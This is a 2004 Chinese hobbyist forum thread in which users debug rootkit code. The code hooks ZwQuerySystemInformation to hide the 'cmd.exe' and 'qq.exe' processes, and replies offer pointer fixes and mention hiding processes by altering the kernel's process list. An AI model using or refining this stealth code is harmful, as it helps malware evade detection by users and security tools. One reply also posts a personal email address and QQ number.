阅读:1419回复:9
隐藏进程
我用驱网的ROOTKIT的技术隐藏两个进程
发现我只能隐藏其中的一个 代码如下: 在NTSTATUS NewZwQuerySystemInformation 函数中 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { if(0 == memcmp( process_name.Buffer, "cmd.exe", 7) || 0 == memcmp( process_name.Buffer, "qq.exe", 6) ) { if(prev) { if(curr->NextEntryDelta) { prev->NextEntryDelta += curr>NextEntryDelta; } else { prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { (char *)SystemInformation += curr->NextEntryDelta; } else { SystemInformation = NULL; } } } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } 大家看看有啥问题! |
|
最新喜欢:aasa2
|
沙发#
发布于:2004-11-26 20:00
在两处
if( curr->NextEntryDelta ) { //相关处理 } 的地方有问题 另外比较文件名应区分大小写,可能你的是测试程序:) [编辑 - 11/26/04 by aethercat] |
|
板凳#
发布于:2004-11-27 02:37
你的prev=curr有问题. 当你的curr需要被隐藏的时候, prev的NextEntryDelta的值改了就可以了, prev本身不需要改.
toad |
|
地板#
发布于:2004-11-27 10:42
toadwolf
你好! prev=curr 这里进行遍历, 找下一个要隐藏的节点 如果不对要整样改呢? aethercat 你好! 大小写是测试 你所说要扎处理呢? 那样改不对吗? 谢谢回付整样给你们分呢? |
|
|
地下室#
发布于:2004-11-27 11:36
现在有很多程序能够查看所有隐藏进程。
你这样做可以 彻底的隐藏吗? [编辑 - 11/27/04 by aasa2] |
|
|
5楼#
发布于:2004-11-27 13:29
现在有很多程序能够查看所有隐藏进程。 什么事情都是相对的,没有绝对的。 楼主的技术应该是用来防止君子,而不是防止小偷。 :cool: |
|
6楼#
发布于:2004-11-27 14:19
只要在那两个地方这样改就行:
if(curr->NextEntryDelta) { prev->NextEntryDelta += curr>NextEntryDelta; ((char *)curr += curr->NextEntryDelta); continue ; } 楼上说得有道理,本来各种隐藏技术都不是绝对的,只要驱动程序删除了就什么都看见了,呵呵呵 |
|
7楼#
发布于:2004-11-27 17:25
在prev=curr前面加个else就可以了.
|
|
8楼#
发布于:2004-12-01 20:10
楼主:
我用另一种方法,就是修改系统进行链的方法来隐藏进程,不知道和你的这种方法,哪一种隐藏的更彻底一些? 我们可以交流一下:pursuer_zhao@tom.com qq:37052768 |
|
9楼#
发布于:2004-12-02 13:53
修改系统进行链的方法来隐藏进程,可以参考PJF的例子,相对来说稍微好点,不过也很容易被发现,最好能结合自己实现线程连表的调度.
|
|
|